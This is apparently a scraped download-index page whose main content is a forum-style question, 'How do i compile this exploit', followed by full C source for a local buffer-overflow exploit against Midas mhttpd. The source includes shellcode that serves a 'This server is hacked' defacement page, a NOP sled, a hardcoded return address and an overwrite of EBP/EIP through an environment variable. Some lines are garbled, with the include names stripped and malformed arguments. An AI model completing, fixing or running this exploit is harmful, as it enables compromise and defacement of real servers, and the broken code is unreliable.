English Deutsch Français 简体中文 繁體中文
Book123, Download eBooks for Free - Anytime! Submit your article

Categories

Share With Friends



Like Book123?! Give us +1

Archive by Date

Search Tag

Newest

Useful Links


How do i compile this exploit

Posted on 2010-04-10




Name:How do i compile this exploit
Language:English
  

Free Download Now     Free register and download UseNet downloader, then you can FREE Download from UseNet.

    Download without Limit " How do i compile this exploit " from UseNet for FREE!


btw,im using win98

include

include

include

include

include

include

include

define BUFFER_SIZE 280 8

define NOP 0x90

define RET 0xbfffc090

char shellcode[] =

"\xeb\x38\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x04"

"\xb1\x03\x89\x0e\xb1\x01\x89\x4e\x04\x89\xf1\xcd\x80\x31\xc0"

"\x43\x89\x46\x04\x89\x46\x08\xb0\x66\xcd\x80\x89\xc3\x8d\x4e"

"\x0c\xb2\x7a\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80\xe8\xc3"

"\xff\xff\xff\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43"

"\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x32\x30\x30\x20\x4f\x4b"

"\x0a\x53\x65\x72\x76\x65\x72\x3a\x20\x73\x61\x66\x65\x6d\x6f"

"\x64\x65\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65"

"\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x0a\x0a\x3c\x48"

"\x54\x4d\x4c\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x3c\x48\x32"

"\x3e\x21\x21\x20\x54\x68\x69\x73\x20\x73\x65\x72\x76\x65\x72"

"\x20\x69\x73\x20\x68\x61\x63\x6b\x65\x64\x20\x21\x21\x3c\x2f"

"\x68\x32\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x3c\x48\x54\x4d"

"\x4c\x3e";

void print_error(char * burb) {

printf(" Error: %s !\n",burb); exit(0);

}

void usage(char *progname) {

printf("\n*--- -- - Midas mhttpd local b0f exploit - -- ---*\n");

printf("\nDefault: %s -f /path/to/mhttpd",progname);

printf("\nOption : %s -o \n\n",progname);

exit(0);

}

int main(int argc, char **argv){

char buffer[BUFFER_SIZE];

char file[40];

long retaddress;

int arg,offset=240;

int pid, fd = 0,port = 80;

struct stat sbuf;

if(argc < 2) { usage(argv[0]); }

while ((arg = getopt (argc, argv, "f:")) != -1){

switch (arg){

case 'f':

strncpy(file,optarg,sizeof(file));

if(stat(argv[2], &sbuf)) { print_error("No such file");}

break;

case 'o':

offset = atoi(optarg);

if(offset < 0) { print_error("Offset must be positive");}

break;

default :

usage(argv[0]);

}

}

retaddress = (RET - offset);

memset(buffer,NOP,BUFFER_SIZE);

memcpy(buffer BUFFER_SIZE - (sizeof(shellcode) ,shellcode,sizeof(shellcode) -1);

/* Overwrite EBP and EIP */

*(long *)&buffer[BUFFER_SIZE - 8] = retaddress;

*(long *)&buffer[BUFFER_SIZE - 4] = retaddress;

if((pid = fork()) == 0) {

sleep(2);

fd = connection("127.0.0.1",80);

write(fd,"GET /p00p HTTP/1.0\r\n\r\n",22);

} else {

setenv("MIDAS_DIR",buffer,1);

if(execl(file,file,"-p","80",NULL) != 0) {

}

}

return 0;

}

int connection(char* host, int port)

{

struct sockaddr_in s_in;

int sock;

s_in.sin_family = AF_INET;

s_in.sin_addr.s_addr = inet_addr(host);

s_in.sin_port = htons(port);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) {

printf("Sorry, could not create a socket\n");

exit(1);

}

if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {

printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno));

exit(1);

}

return sock;

}

Related Articles


Nonfiction Zero Day Exploit Countdown to Darkness

Nonfiction Zero Day Exploit Countdown to Darkness

Sachs,

Sachs, "Zero-Day Exploit: Countdown to Darkness"

Rob Shein, David Litchfield, Marcus Sachs, "Zero-Day Exploit: Countdown to Darkness: Countdown to Darkness"Syngress | ISBN 1931836094 | 2004 Year | PDF | 2,58 Mb | 339 Pages?There exists a 0-day vulnerability in a particular line of SCADA M ...

Technical Zero Day Exploit Countdown to Darkness

Technical Zero Day Exploit Countdown to Darkness

A realistic and downright scary tale of cyber-terrorismZero-Day Exploit: Countdown to Darkness is this season¡¯s must read cyber-thriller. From the casinos of Las Vegas to the slums of Manila to FBI Headqua ...

Programming Zero Day Exploit: Countdown to Darkness  by  Rob Shein

Programming Zero Day Exploit: Countdown to Darkness by Rob Shein

Zero Day Exploit: Countdown to Darkness (Cyber-Fiction) (Cyber-Fiction) by Rob Shein (Author), David Litchfield (Author), Marcus Sachs (Author)Publisher: Syngress Publishing (July 21, 2004) | ISBN-10: 1931836094 | PDF | 2,6 Mb | 240 pagesT ...

Programming Web Application Vulnerabilities: Detect, Exploit, Prevent

Programming Web Application Vulnerabilities: Detect, Exploit, Prevent

Steven Palmer "Web Application Vulnerabilities: Detect, Exploit, Prevent" Syngress (September 28, 2007) | ISBN: 1597492094 | 480 pages | PDF | 14,3 Mb Mirror: Mirror -> Bux.to - #1 Paid To Click (PTC) site in the world. It h ...

Business/Investing The Art of Bookmaking: How to Compile Odds for Any Sporting Event

Business/Investing The Art of Bookmaking: How to Compile Odds for Any Sporting Event

Malcolm Boyle, "The Art of Bookmaking: How to Compile Odds for Any Sporting Event" High Stakes | 2006 | ISBN: 1843440261 | 176 pages | PDF | 1,1 MB Why do you try and beat the bookmaker, without knowing the basics of the business? The boo ...

Share this page with your friends now!
Text link
Forum (BBCode)
Website (HTML)
Tags:
compile   exploit  
 

DISCLAIMER:

This site does not store How do i compile this exploit on its server. We only index and link to How do i compile this exploit provided by other sites. Please contact the content providers to delete How do i compile this exploit if any and email us, we'll remove relevant links or contents immediately.

Comments (0) All

Verify: Verify

    Sign In   Not yet a member?